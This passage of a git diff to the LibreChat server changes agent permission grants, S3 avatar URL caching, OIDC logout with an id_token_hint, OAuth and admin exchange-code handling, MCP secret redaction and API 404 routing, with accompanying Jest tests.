convertMessagesToOutputItems(messages); + + // Find the last assistant message for usage info + const lastAssistantMessage = messages.filter((m) => !m.isCreatedByUser).pop(); + + // Build the response object + const response = { + id: responseId, + object: 'response', + created_at: Math.floor(new Date(conversation.createdAt || Date.now()).getTime() / 1000), + completed_at: Math.floor(new Date(conversation.updatedAt || Date.now()).getTime() / 1000), + status: 'completed', + incomplete_details: null, + model: conversation.agentId || conversation.model || 'unknown', + previous_response_id: null, + instructions: null, + output, + error: null, + tools: [], + tool_choice: 'auto', + truncation: 'disabled', + parallel_tool_calls: true, + text: { format: { type: 'text' } }, + temperature: 1, + top_p: 1, + presence_penalty: 0, + frequency_penalty: 0, + top_logprobs: null, + reasoning: null, + user: userId, + usage: lastAssistantMessage?.tokenCount + ? { + input_tokens: 0, + output_tokens: lastAssistantMessage.tokenCount, + total_tokens: lastAssistantMessage.tokenCount, + } + : null, + max_output_tokens: null, + max_tool_calls: null, + store: true, + background: false, + service_tier: 'default', + metadata: {}, + safety_identifier: null, + prompt_cache_key: null, + }; + + res.json(response); + } catch (error) { + logger.error('[Responses API] Error getting response:', error); + sendResponsesErrorResponse( + res, + 500, + error instanceof Error ? error.message : 'Failed to get response', + 'server_error', + ); + } +}; + +module.exports = { + createResponse, + getResponse, + listModels, + setAppConfig, +}; diff --git a/api/server/controllers/agents/v1.js b/api/server/controllers/agents/v1.js index 9f0a4a2279..a2c0d55186 100644 --- a/api/server/controllers/agents/v1.js +++ b/api/server/controllers/agents/v1.js @@ -11,7 +11,9 @@ const { convertOcrToContextInPlace, } = require('@librechat/api'); const { + Time, Tools, + CacheKeys, Constants, FileSources, ResourceType, @@ -21,8 +23,6 @@ const { PermissionBits, actionDelimiter, removeNullishValues, - CacheKeys, - Time, } = require('librechat-data-provider'); const { getListAgentsByAccess, @@ -94,16 +94,25 @@ const createAgentHandler = async (req, res) => { const agent = await createAgent(agentData); - // Automatically grant owner permissions to the creator try { - await grantPermission({ - principalType: PrincipalType.USER, - principalId: userId, - resourceType: ResourceType.AGENT, - resourceId: agent._id, - accessRoleId: AccessRoleIds.AGENT_OWNER, - grantedBy: userId, - }); + await Promise.all([ + grantPermission({ + principalType: PrincipalType.USER, + principalId: userId, + resourceType: ResourceType.AGENT, + resourceId: agent._id, + accessRoleId: AccessRoleIds.AGENT_OWNER, + grantedBy: userId, + }), + grantPermission({ + principalType: PrincipalType.USER, + principalId: userId, + resourceType: ResourceType.REMOTE_AGENT, + resourceId: agent._id, + accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER, + grantedBy: userId, + }), + ]); logger.debug( `[createAgent] Granted owner permissions to user ${userId} for agent ${agent.id}`, ); @@ -396,16 +405,25 @@ const duplicateAgentHandler = async (req, res) => { newAgentData.actions = agentActions; const newAgent = await createAgent(newAgentData); - // Automatically grant owner permissions to the duplicator try { - await grantPermission({ - principalType: PrincipalType.USER, - principalId: userId, - resourceType: ResourceType.AGENT, - resourceId: newAgent._id, - accessRoleId: AccessRoleIds.AGENT_OWNER, - grantedBy: userId, - }); + await Promise.all([ + grantPermission({ + principalType: PrincipalType.USER, + principalId: userId, + resourceType: ResourceType.AGENT, + resourceId: newAgent._id, + accessRoleId: AccessRoleIds.AGENT_OWNER, + grantedBy: userId, + }), + grantPermission({ + principalType: PrincipalType.USER, + principalId: userId, + resourceType: ResourceType.REMOTE_AGENT, + resourceId: newAgent._id, + accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER, + grantedBy: userId, + }), + ]); logger.debug( `[duplicateAgent] Granted owner permissions to user ${userId} for duplicated agent ${newAgent.id}`, ); @@ -512,10 +530,10 @@ const getListAgentsHandler = async (req, res) => { */ const cache = getLogStores(CacheKeys.S3_EXPIRY_INTERVAL); const refreshKey = `${userId}:agents_avatar_refresh`; - const alreadyChecked = await cache.get(refreshKey); - if (alreadyChecked) { - logger.debug('[/Agents] S3 avatar refresh already checked, skipping'); - } else { + let cachedRefresh = await cache.get(refreshKey); + const isValidCachedRefresh = + cachedRefresh != null && typeof cachedRefresh === 'object' && cachedRefresh.urlCache != null; + if (!isValidCachedRefresh) { try { const fullList = await getListAgentsByAccess({ accessibleIds, @@ -523,16 +541,19 @@ const getListAgentsHandler = async (req, res) => { limit: MAX_AVATAR_REFRESH_AGENTS, after: null, }); - await refreshListAvatars({ + const { urlCache } = await refreshListAvatars({ agents: fullList?.data ?? [], userId, refreshS3Url, updateAgent, }); - await cache.set(refreshKey, true, Time.THIRTY_MINUTES); + cachedRefresh = { urlCache }; + await cache.set(refreshKey, cachedRefresh, Time.THIRTY_MINUTES); } catch (err) { logger.error('[/Agents] Error refreshing avatars for full list: %o', err); } + } else { + logger.debug('[/Agents] S3 avatar refresh already checked, skipping'); } // Use the new ACL-aware function @@ -550,11 +571,20 @@ const getListAgentsHandler = async (req, res) => { const publicSet = new Set(publiclyAccessibleIds.map((oid) => oid.toString())); + const urlCache = cachedRefresh?.urlCache; data.data = agents.map((agent) => { try { if (agent?._id && publicSet.has(agent._id.toString())) { agent.isPublic = true; } + if ( + urlCache && + agent?.id && + agent?.avatar?.source === FileSources.s3 && + urlCache[agent.id] + ) { + agent.avatar = { ...agent.avatar, filepath: urlCache[agent.id] }; + } } catch (e) { // Silently ignore mapping errors void e; @@ -640,6 +670,14 @@ const uploadAgentAvatarHandler = async (req, res) => { const updatedAgent = await updateAgent({ id: agent_id }, data, { updatingUserId: req.user.id, }); + + try { + const avatarCache = getLogStores(CacheKeys.S3_EXPIRY_INTERVAL); + await avatarCache.delete(`${req.user.id}:agents_avatar_refresh`); + } catch (cacheErr) { + logger.error('[/:agent_id/avatar] Error invalidating avatar refresh cache', cacheErr); + } + res.status(201).json(updatedAgent); } catch (error) { const message = 'An error occurred while updating the Agent Avatar'; diff --git a/api/server/controllers/agents/v1.spec.js b/api/server/controllers/agents/v1.spec.js index 8b2a57d903..ce68cc241f 100644 --- a/api/server/controllers/agents/v1.spec.js +++ b/api/server/controllers/agents/v1.spec.js @@ -59,6 +59,7 @@ jest.mock('~/models', () => ({ const mockCache = { get: jest.fn(), set: jest.fn(), + delete: jest.fn(), }; jest.mock('~/cache', () => ({ getLogStores: jest.fn(() => mockCache), @@ -1309,7 +1310,7 @@ describe('Agent Controllers - Mass Assignment Protection', () => { }); test('should skip avatar refresh if cache hit', async () => { - mockCache.get.mockResolvedValue(true); + mockCache.get.mockResolvedValue({ urlCache: {} }); findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]); findPubliclyAccessibleResources.mockResolvedValue([]); @@ -1348,8 +1349,12 @@ describe('Agent Controllers - Mass Assignment Protection', () => { // Verify S3 URL was refreshed expect(refreshS3Url).toHaveBeenCalled(); - // Verify cache was set - expect(mockCache.set).toHaveBeenCalled(); + // Verify cache was set with urlCache map, not a plain boolean + expect(mockCache.set).toHaveBeenCalledWith( + expect.any(String), + expect.objectContaining({ urlCache: expect.any(Object) }), + expect.any(Number), + ); // Verify response was returned expect(mockRes.json).toHaveBeenCalled(); @@ -1563,5 +1568,83 @@ describe('Agent Controllers - Mass Assignment Protection', () => { // Verify that the handler completed successfully expect(mockRes.json).toHaveBeenCalled(); }); + + test('should treat legacy boolean cache entry as a miss and run refresh', async () => { + // Simulate a cache entry written by the pre-fix code + mockCache.get.mockResolvedValue(true); + findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]); + findPubliclyAccessibleResources.mockResolvedValue([]); + refreshS3Url.mockResolvedValue('new-s3-path.jpg'); + + const mockReq = { + user: { id: userA.toString(), role: 'USER' }, + query: {}, + }; + const mockRes = { + status: jest.fn().mockReturnThis(), + json: jest.fn().mockReturnThis(), + }; + + await getListAgentsHandler(mockReq, mockRes); + + // Boolean true fails the shape guard, so refresh must run + expect(refreshS3Url).toHaveBeenCalled(); + // Cache is overwritten with the proper format + expect(mockCache.set).toHaveBeenCalledWith( + expect.any(String), + expect.objectContaining({ urlCache: expect.any(Object) }), + expect.any(Number), + ); + }); + + test('should apply cached urlCache filepath to paginated response on cache hit', async () => { + const agentId = agentWithS3Avatar.id; + const cachedUrl = 'cached-presigned-url.jpg'; + + mockCache.get.mockResolvedValue({ urlCache: { [agentId]: cachedUrl } }); + findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]); + findPubliclyAccessibleResources.mockResolvedValue([]); + + const mockReq = { + user: { id: userA.toString(), role: 'USER' }, + query: {}, + }; + const mockRes = { + status: jest.fn().mockReturnThis(), + json: jest.fn().mockReturnThis(), + }; + + await getListAgentsHandler(mockReq, mockRes); + + expect(refreshS3Url).not.toHaveBeenCalled(); + + const responseData = mockRes.json.mock.calls[0][0]; + const agent = responseData.data.find((a) => a.id === agentId); + // Cached URL is served, not the stale DB value 'old-s3-path.jpg' + expect(agent.avatar.filepath).toBe(cachedUrl); + }); + + test('should preserve DB filepath for agents absent from urlCache on cache hit', async () => { + mockCache.get.mockResolvedValue({ urlCache: {} }); + findAccessibleResources.mockResolvedValue([agentWithS3Avatar._id]); + findPubliclyAccessibleResources.mockResolvedValue([]); + + const mockReq = { + user: { id: userA.toString(), role: 'USER' }, + query: {}, + }; + const mockRes = { + status: jest.fn().mockReturnThis(), + json: jest.fn().mockReturnThis(), + }; + + await getListAgentsHandler(mockReq, mockRes); + + expect(refreshS3Url).not.toHaveBeenCalled(); + + const responseData = mockRes.json.mock.calls[0][0]; + const agent = responseData.data.find((a) => a.id === agentWithS3Avatar.id); + expect(agent.avatar.filepath).toBe('old-s3-path.jpg'); + }); }); }); diff --git a/api/server/controllers/auth/LogoutController.js b/api/server/controllers/auth/LogoutController.js index ec66316285..039ed630c2 100644 --- a/api/server/controllers/auth/LogoutController.js +++ b/api/server/controllers/auth/LogoutController.js @@ -8,13 +8,16 @@ const logoutController = async (req, res) => { const parsedCookies = req.headers.cookie ? cookies.parse(req.headers.cookie) : {}; const isOpenIdUser = req.user?.openidId != null && req.user?.provider === 'openid'; - /** For OpenID users, read refresh token from session; for others, use cookie */ + /** For OpenID users, read tokens from session (with cookie fallback) */ let refreshToken; + let idToken; if (isOpenIdUser && req.session?.openidTokens) { refreshToken = req.session.openidTokens.refreshToken; + idToken = req.session.openidTokens.idToken; delete req.session.openidTokens; } refreshToken = refreshToken || parsedCookies.refreshToken; + idToken = idToken || parsedCookies.openid_id_token; try { const logout = await logoutUser(req, refreshToken); @@ -22,6 +25,7 @@ const logoutController = async (req, res) => { res.clearCookie('refreshToken'); res.clearCookie('openid_access_token'); + res.clearCookie('openid_id_token'); res.clearCookie('openid_user_id'); res.clearCookie('token_provider'); const response = { message }; @@ -30,21 +34,34 @@ const logoutController = async (req, res) => { isEnabled(process.env.OPENID_USE_END_SESSION_ENDPOINT) && process.env.OPENID_ISSUER ) { - const openIdConfig = getOpenIdConfig(); - if (!openIdConfig) { - logger.warn( - '[logoutController] OpenID config not found. Please verify that the open id configuration and initialization are correct.', - ); - } else { - const endSessionEndpoint = openIdConfig - ? openIdConfig.serverMetadata().end_session_endpoint - : null; + let openIdConfig; + try { + openIdConfig = getOpenIdConfig(); + } catch (err) { + logger.warn('[logoutController] OpenID config not available:', err.message); + } + if (openIdConfig) { + const endSessionEndpoint = openIdConfig.serverMetadata().end_session_endpoint; if (endSessionEndpoint) { const endSessionUrl = new URL(endSessionEndpoint); /** Redirect back to app's login page after IdP logout */ const postLogoutRedirectUri = process.env.OPENID_POST_LOGOUT_REDIRECT_URI || `${process.env.DOMAIN_CLIENT}/login`; endSessionUrl.searchParams.set('post_logout_redirect_uri', postLogoutRedirectUri); + + /** Add id_token_hint (preferred) or client_id for OIDC spec compliance */ + if (idToken) { + endSessionUrl.searchParams.set('id_token_hint', idToken); + } else if (process.env.OPENID_CLIENT_ID) { + endSessionUrl.searchParams.set('client_id', process.env.OPENID_CLIENT_ID); + } else { + logger.warn( + '[logoutController] Neither id_token_hint nor OPENID_CLIENT_ID is available. ' + + 'To enable id_token_hint, set OPENID_REUSE_TOKENS=true. ' + + 'The OIDC end-session request may be rejected by the identity provider.', + ); + } + response.redirect = endSessionUrl.toString(); } else { logger.warn( diff --git a/api/server/controllers/auth/LogoutController.spec.js b/api/server/controllers/auth/LogoutController.spec.js new file mode 100644 index 0000000000..3f2a2de8e1 --- /dev/null +++ b/api/server/controllers/auth/LogoutController.spec.js @@ -0,0 +1,259 @@ +const cookies = require('cookie'); + +const mockLogoutUser = jest.fn(); +const mockLogger = { warn: jest.fn(), error: jest.fn() }; +const mockIsEnabled = jest.fn(); +const mockGetOpenIdConfig = jest.fn(); + +jest.mock('cookie'); +jest.mock('@librechat/api', () => ({ isEnabled: (...args) => mockIsEnabled(...args) })); +jest.mock('@librechat/data-schemas', () => ({ logger: mockLogger })); +jest.mock('~/server/services/AuthService', () => ({ + logoutUser: (...args) => mockLogoutUser(...args), +})); +jest.mock('~/strategies', () => ({ getOpenIdConfig: () => mockGetOpenIdConfig() })); + +const { logoutController } = require('./LogoutController'); + +function buildReq(overrides = {}) { + return { + user: { _id: 'user1', openidId: 'oid1', provider: 'openid' }, + headers: { cookie: 'refreshToken=rt1' }, + session: { + openidTokens: { refreshToken: 'srt', idToken: 'small-id-token' }, + destroy: jest.fn(), + }, + ...overrides, + }; +} + +function buildRes() { + const res = { + status: jest.fn().mockReturnThis(), + send: jest.fn().mockReturnThis(), + json: jest.fn().mockReturnThis(), + clearCookie: jest.fn(), + }; + return res; +} + +const ORIGINAL_ENV = process.env; + +beforeEach(() => { + jest.clearAllMocks(); + process.env = { + ...ORIGINAL_ENV, + OPENID_USE_END_SESSION_ENDPOINT: 'true', + OPENID_ISSUER: 'https://idp.example.com', + OPENID_CLIENT_ID: 'my-client-id', + DOMAIN_CLIENT: 'https://app.example.com', + }; + cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' }); + mockLogoutUser.mockResolvedValue({ status: 200, message: 'Logout successful' }); + mockIsEnabled.mockReturnValue(true); + mockGetOpenIdConfig.mockReturnValue({ + serverMetadata: () => ({ + end_session_endpoint: 'https://idp.example.com/logout', + }), + }); +}); + +afterAll(() => { + process.env = ORIGINAL_ENV; +}); + +describe('LogoutController', () => { + describe('id_token_hint from session', () => { + it('sets id_token_hint when session has idToken', async () => { + const req = buildReq(); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + expect(body.redirect).toContain('id_token_hint=small-id-token'); + expect(body.redirect).not.toContain('client_id='); + }); + }); + + describe('id_token_hint from cookie fallback', () => { + it('uses cookie id_token when session has no tokens', async () => { + cookies.parse.mockReturnValue({ + refreshToken: 'cookie-rt', + openid_id_token: 'cookie-id-token', + }); + const req = buildReq({ session: { destroy: jest.fn() } }); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + expect(body.redirect).toContain('id_token_hint=cookie-id-token'); + }); + }); + + describe('client_id fallback', () => { + it('falls back to client_id when no idToken is available', async () => { + cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' }); + const req = buildReq({ session: { destroy: jest.fn() } }); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + expect(body.redirect).toContain('client_id=my-client-id'); + expect(body.redirect).not.toContain('id_token_hint='); + }); + + it('does not produce client_id=undefined when OPENID_CLIENT_ID is unset', async () => { + delete process.env.OPENID_CLIENT_ID; + cookies.parse.mockReturnValue({ refreshToken: 'cookie-rt' }); + const req = buildReq({ session: { destroy: jest.fn() } }); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + expect(body.redirect).not.toContain('client_id='); + expect(body.redirect).not.toContain('undefined'); + expect(mockLogger.warn).toHaveBeenCalledWith( + expect.stringContaining('Neither id_token_hint nor OPENID_CLIENT_ID'), + ); + }); + }); + + describe('OPENID_USE_END_SESSION_ENDPOINT disabled', () => { + it('does not include redirect when disabled', async () => { + mockIsEnabled.mockReturnValue(false); + const req = buildReq(); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + expect(body.redirect).toBeUndefined(); + }); + }); + + describe('OPENID_ISSUER unset', () => { + it('does not include redirect when OPENID_ISSUER is missing', async () => { + delete process.env.OPENID_ISSUER; + const req = buildReq(); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + expect(body.redirect).toBeUndefined(); + }); + }); + + describe('non-OpenID user', () => { + it('does not include redirect for non-OpenID users', async () => { + const req = buildReq({ + user: { _id: 'user1', provider: 'local' }, + }); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + expect(body.redirect).toBeUndefined(); + }); + }); + + describe('post_logout_redirect_uri', () => { + it('uses OPENID_POST_LOGOUT_REDIRECT_URI when set', async () => { + process.env.OPENID_POST_LOGOUT_REDIRECT_URI = 'https://custom.example.com/logged-out'; + const req = buildReq(); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + const url = new URL(body.redirect); + expect(url.searchParams.get('post_logout_redirect_uri')).toBe( + 'https://custom.example.com/logged-out', + ); + }); + + it('defaults to DOMAIN_CLIENT/login when OPENID_POST_LOGOUT_REDIRECT_URI is unset', async () => { + delete process.env.OPENID_POST_LOGOUT_REDIRECT_URI; + const req = buildReq(); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + const url = new URL(body.redirect); + expect(url.searchParams.get('post_logout_redirect_uri')).toBe( + 'https://app.example.com/login', + ); + }); + }); + + describe('OpenID config not available', () => { + it('warns and returns no redirect when getOpenIdConfig throws', async () => { + mockGetOpenIdConfig.mockImplementation(() => { + throw new Error('OpenID configuration has not been initialized'); + }); + const req = buildReq(); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + expect(body.redirect).toBeUndefined(); + expect(mockLogger.warn).toHaveBeenCalledWith( + expect.stringContaining('OpenID config not available'), + 'OpenID configuration has not been initialized', + ); + }); + }); + + describe('end_session_endpoint not in metadata', () => { + it('warns and returns no redirect when end_session_endpoint is missing', async () => { + mockGetOpenIdConfig.mockReturnValue({ + serverMetadata: () => ({}), + }); + const req = buildReq(); + const res = buildRes(); + + await logoutController(req, res); + + const body = res.send.mock.calls[0][0]; + expect(body.redirect).toBeUndefined(); + expect(mockLogger.warn).toHaveBeenCalledWith( + expect.stringContaining('end_session_endpoint not found'), + ); + }); + }); + + describe('error handling', () => { + it('returns 500 on logoutUser error', async () => { + mockLogoutUser.mockRejectedValue(new Error('session error')); + const req = buildReq(); + const res = buildRes(); + + await logoutController(req, res); + + expect(res.status).toHaveBeenCalledWith(500); + expect(res.json).toHaveBeenCalledWith({ message: 'session error' }); + }); + }); + + describe('cookie clearing', () => { + it('clears all auth cookies on successful logout', async () => { + const req = buildReq(); + const res = buildRes(); + + await logoutController(req, res); + + expect(res.clearCookie).toHaveBeenCalledWith('refreshToken'); + expect(res.clearCookie).toHaveBeenCalledWith('openid_access_token'); + expect(res.clearCookie).toHaveBeenCalledWith('openid_id_token'); + expect(res.clearCookie).toHaveBeenCalledWith('openid_user_id'); + expect(res.clearCookie).toHaveBeenCalledWith('token_provider'); + }); + }); +}); diff --git a/api/server/controllers/auth/oauth.js b/api/server/controllers/auth/oauth.js new file mode 100644 index 0000000000..80c2ced002 --- /dev/null +++ b/api/server/controllers/auth/oauth.js @@ -0,0 +1,79 @@ +const { CacheKeys } = require('librechat-data-provider'); +const { logger, DEFAULT_SESSION_EXPIRY } = require('@librechat/data-schemas'); +const { + isEnabled, + getAdminPanelUrl, + isAdminPanelRedirect, + generateAdminExchangeCode, +} = require('@librechat/api'); +const { syncUserEntraGroupMemberships } = require('~/server/services/PermissionService'); +const { setAuthTokens, setOpenIDAuthTokens } = require('~/server/services/AuthService'); +const getLogStores = require('~/cache/getLogStores'); +const { checkBan } = require('~/server/middleware'); +const { generateToken } = require('~/models'); + +const domains = { + client: process.env.DOMAIN_CLIENT, + server: process.env.DOMAIN_SERVER, +}; + +function createOAuthHandler(redirectUri = domains.client) { + /** + * A handler to process OAuth authentication results. + * @type {Function} + * @param {ServerRequest} req - Express request object. + * @param {ServerResponse} res - Express response object. + * @param {NextFunction} next - Express next middleware function. + */ + return async (req, res, next) => { + try { + if (res.headersSent) { + return; + } + + await checkBan(req, res); + if (req.banned) { + return; + } + + /** Check if this is an admin panel redirect (cross-origin) */ + if (isAdminPanelRedirect(redirectUri, getAdminPanelUrl(), domains.client)) { + /** For admin panel, generate exchange code instead of setting cookies */ + const cache = getLogStores(CacheKeys.ADMIN_OAUTH_EXCHANGE); + const sessionExpiry = Number(process.env.SESSION_EXPIRY) || DEFAULT_SESSION_EXPIRY; + const token = await generateToken(req.user, sessionExpiry); + + /** Get refresh token from tokenset for OpenID users */ + const refreshToken = + req.user.tokenset?.refresh_token || req.user.federatedTokens?.refresh_token; + + const exchangeCode = await generateAdminExchangeCode(cache, req.user, token, refreshToken); + + const callbackUrl = new URL(redirectUri); + callbackUrl.searchParams.set('code', exchangeCode); + logger.info(`[OAuth] Admin panel redirect with exchange code for user: ${req.user.email}`); + return res.redirect(callbackUrl.toString()); + } + + /** Standard OAuth flow - set cookies and redirect */ + if ( + req.user && + req.user.provider == 'openid' && + isEnabled(process.env.OPENID_REUSE_TOKENS) === true + ) { + await syncUserEntraGroupMemberships(req.user, req.user.tokenset.access_token); + setOpenIDAuthTokens(req.user.tokenset, req, res, req.user._id.toString()); + } else { + await setAuthTokens(req.user._id, res); + } + res.redirect(redirectUri); + } catch (err) { + logger.error('Error in setting authentication tokens:', err); + next(err); + } + }; +} + +module.exports = { + createOAuthHandler, +}; diff --git a/api/server/controllers/mcp.js b/api/server/controllers/mcp.js index e5dfff61ca..729f01da9d 100644 --- a/api/server/controllers/mcp.js +++ b/api/server/controllers/mcp.js @@ -7,9 +7,11 @@ */ const { logger } = require('@librechat/data-schemas'); const { + MCPErrorCodes, + redactServerSecrets, + redactAllServerSecrets, isMCPDomainNotAllowedError, isMCPInspectionFailedError, - MCPErrorCodes, } = require('@librechat/api'); const { Constants, MCPServerUserInputSchema } = require('librechat-data-provider'); const { cacheMCPServerTools, getMCPServerTools } = require('~/server/services/Config'); @@ -181,10 +183,8 @@ const getMCPServersList = async (req, res) => { return res.status(401).json({ message: 'Unauthorized' }); } - // 2. Get all server configs from registry (YAML + DB) const serverConfigs = await getMCPServersRegistry().getAllServerConfigs(userId); - - return res.json(serverConfigs); + return res.json(redactAllServerSecrets(serverConfigs)); } catch (error) { logger.error('[getMCPServersList]', error); res.status(500).json({ error: error.message }); @@ -215,7 +215,7 @@ const createMCPServerController = async (req, res) => { ); res.status(201).json({ serverName: result.serverName, - ...result.config, + ...redactServerSecrets(result.config), }); } catch (error) { logger.error('[createMCPServer]', error); @@ -243,7 +243,7 @@ const getMCPServerById = async (req, res) => { return res.status(404).json({ message: 'MCP server not found' }); } - res.status(200).json(parsedConfig); + res.status(200).json(redactServerSecrets(parsedConfig)); } catch (error) { logger.error('[getMCPServerById]', error); res.status(500).json({ message: error.message }); @@ -274,7 +274,7 @@ const updateMCPServerController = async (req, res) => { userId, ); - res.status(200).json(parsedConfig); + res.status(200).json(redactServerSecrets(parsedConfig)); } catch (error) { logger.error('[updateMCPServer]', error); const mcpErrorResponse = handleMCPError(error, res); diff --git a/api/server/experimental.js b/api/server/experimental.js index 91ef9ef286..7b60ad7fd2 100644 --- a/api/server/experimental.js +++ b/api/server/experimental.js @@ -14,6 +14,7 @@ const { logger } = require('@librechat/data-schemas'); const mongoSanitize = require('express-mongo-sanitize'); const { isEnabled, + apiNotFound, ErrorController, performStartupChecks, handleJsonParseError, @@ -297,8 +298,10 @@ if (cluster.isMaster) { /** Routes */ app.use('/oauth', routes.oauth); app.use('/api/auth', routes.auth); + app.use('/api/admin', routes.adminAuth); app.use('/api/actions', routes.actions); app.use('/api/keys', routes.keys); + app.use('/api/api-keys', routes.apiKeys); app.use('/api/user', routes.user); app.use('/api/search', routes.search); app.use('/api/messages', routes.messages); @@ -309,7 +312,6 @@ if (cluster.isMaster) { app.use('/api/endpoints', routes.endpoints); app.use('/api/balance', routes.balance); app.use('/api/models', routes.models); - app.use('/api/plugins', routes.plugins); app.use('/api/config', routes.config); app.use('/api/assistants', routes.assistants); app.use('/api/files', await routes.files.initialize()); @@ -323,8 +325,8 @@ if (cluster.isMaster) { app.use('/api/tags', routes.tags); app.use('/api/mcp', routes.mcp); - /** Error handler */ - app.use(ErrorController); + /** 404 for unmatched API routes */ + app.use('/api', apiNotFound); /** SPA fallback - serve index.html for all unmatched routes */ app.use((req, res) => { @@ -342,6 +344,9 @@ if (cluster.isMaster) { res.send(updatedIndexHtml); }); + /** Error handler (must be last - Express identifies error middleware by its 4-arg signature) */ + app.use(ErrorController); + /** Start listening on shared port (cluster will distribute connections) */ app.listen(port, host, async (err) => { if (err) { diff --git a/api/server/index.js b/api/server/index.js index a7ddd47f37..f034f10236 100644 --- a/api/server/index.js +++ b/api/server/index.js @@ -12,12 +12,14 @@ const { logger } = require('@librechat/data-schemas'); const mongoSanitize = require('express-mongo-sanitize'); const { isEnabled, + apiNotFound, ErrorController, + memoryDiagnostics, performStartupChecks, handleJsonParseError, - initializeFileStorage, GenerationJobManager, createStreamServices, + initializeFileStorage, } = require('@librechat/api'); const { connectDb, indexSync } = require('~/db'); const initializeOAuthReconnectManager = require('./services/initializeOAuthReconnectManager'); @@ -134,8 +136,10 @@ const startServer = async () => { app.use('/oauth', routes.oauth); /* API Endpoints */ app.use('/api/auth', routes.auth); + app.use('/api/admin', routes.adminAuth); app.use('/api/actions', routes.actions); app.use('/api/keys', routes.keys); + app.use('/api/api-keys', routes.apiKeys); app.use('/api/user', routes.user); app.use('/api/search', routes.search); app.use('/api/messages', routes.messages); @@ -160,8 +164,10 @@ const startServer = async () => { app.use('/api/tags', routes.tags); app.use('/api/mcp', routes.mcp); - app.use(ErrorController); + /** 404 for unmatched API routes */ + app.use('/api', apiNotFound); + /** SPA fallback - serve index.html for all unmatched routes */ app.use((req, res) => { res.set({ 'Cache-Control': process.env.INDEX_CACHE_CONTROL || 'no-cache, no-store, must-revalidate', @@ -177,6 +183,9 @@ const startServer = async () => { res.send(updatedIndexHtml); }); + /** Error handler (must be last - Express identifies error middleware by its 4-arg signature) */ + app.use(ErrorController); + app.listen(port, host, async (err) => { if (err) { logger.error('Failed to start server:', err); @@ -199,6 +208,11 @@ const startServer = async () => { const streamServices = createStreamServices(); GenerationJobManager.configure(streamServices); GenerationJobManager.initialize(); + + const inspectFlags = process.execArgv.some((arg) => arg.startsWith('--inspect')); + if (inspectFlags || isEnabled(process.env.MEM_DIAG)) { + memoryDiagnostics.start(); + } }); }; @@ -249,6 +263,15 @@ process.on('uncaughtException', (err) => { return; } + if (isEnabled(process.env.CONTINUE_ON_UNCAUGHT_EXCEPTION)) { + logger.error('Unhandled error encountered. The app will continue running.', { + name: err?.name, + message: err?.message, + stack: err?.stack, + }); + return; + } + process.exit(1); }); diff --git a/api/server/index.spec.js b/api/server/index.spec.js index c73c605518..7b3d062fce 100644 --- a/api/server/index.spec.js +++ b/api/server/index.spec.js @@ -100,6 +100,40 @@ describe('Server Configuration', () => { expect(response.headers['expires']).toBe('0'); }); + it('should return 404 JSON for undefined API routes', async () => { + const response = await request(app).get('/api/nonexistent'); + expect(response.status).toBe(404); + expect(response.body).toEqual({ message: 'Endpoint not found' }); + }); + + it('should return 404 JSON for nested undefined API routes', async () => { + const response = await request(app).get('/api/nonexistent/nested/path'); + expect(response.status).toBe(404); + expect(response.body).toEqual({ message: 'Endpoint not found' }); + }); + + it('should return 404 JSON for non-GET methods on undefined API routes', async () => { + const post = await request(app).post('/api/nonexistent'); + expect(post.status).toBe(404); + expect(post.body).toEqual({ message: 'Endpoint not found' }); + + const del = await request(app).delete('/api/nonexistent'); + expect(del.status).toBe(404); + expect(del.body).toEqual({ message: 'Endpoint not found' }); + }); + + it('should return 404 JSON for the /api root path', async () => { + const response = await request(app).get('/api'); + expect(response.status).toBe(404); + expect(response.body).toEqual({ message: 'Endpoint not found' }); + }); + + it('should serve SPA HTML for non-API unmatched routes', async () => { + const response = await request(app).get('/this/does/not/exist'); + expect(response.status).toBe(200); + expect(response.headers['content-type']).toMatch(/html/); + }); + it('should return 500 for unknown errors via ErrorController', async () => { // Testing the error handling here on top of unit tests to ensure the middleware is correctly integrated diff --git a/api/server/middleware/abortMiddleware.js b/api/server/middleware/abortMiddleware.js index d07a09682d..d39b0104a8 100644 --- a/api/server/middleware/abortMiddleware.js +++ b/api/server/middleware/abortMiddleware.js @@ -1,17 +1,19 @@ const { logger } = require('@librechat/data-schemas'); const { - countTokens, isEnabled, sendEvent, + countTokens, GenerationJobManager, + recordCollectedUsage, sanitizeMessageForTransmit, } = require('@librechat/api'); const { isAssistantsEndpoint, ErrorTypes } = require('librechat-data-provider'); +const { saveMessage, getConvo, updateBalance, bulkInsertTransactions } = require('~/models'); const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens'); const { truncateText, smartTruncateText } = require('~/app/clients/prompts'); +const { getMultiplier, getCacheMultiplier } = require('~/models/tx'); const clearPendingReq = require('~/cache/clearPendingReq'); const { sendError } = require('~/server/middleware/error'); -const { saveMessage, getConvo } = require('~/models'); const { abortRun } = require('./abortRun'); /** @@ -27,62 +29,35 @@ const { abortRun } = require('./abortRun'); * @param {string} params.conversationId - Conversation ID * @param {Array} params.collectedUsage - Usage metadata from all models * @param {string} [params.fallbackModel] - Fallback model name if not in usage + * @param {string} [params.messageId] - The response message ID for transaction correlation */ -async function spendCollectedUsage({ userId, conversationId, collectedUsage, fallbackModel }) { +async function spendCollectedUsage({ + userId, + conversationId, + collectedUsage, + fallbackModel, + messageId, +}) { if (!collectedUsage || collectedUsage.length === 0) { return; } - const spendPromises = []; - - for (const usage of collectedUsage) { - if (!usage) { - 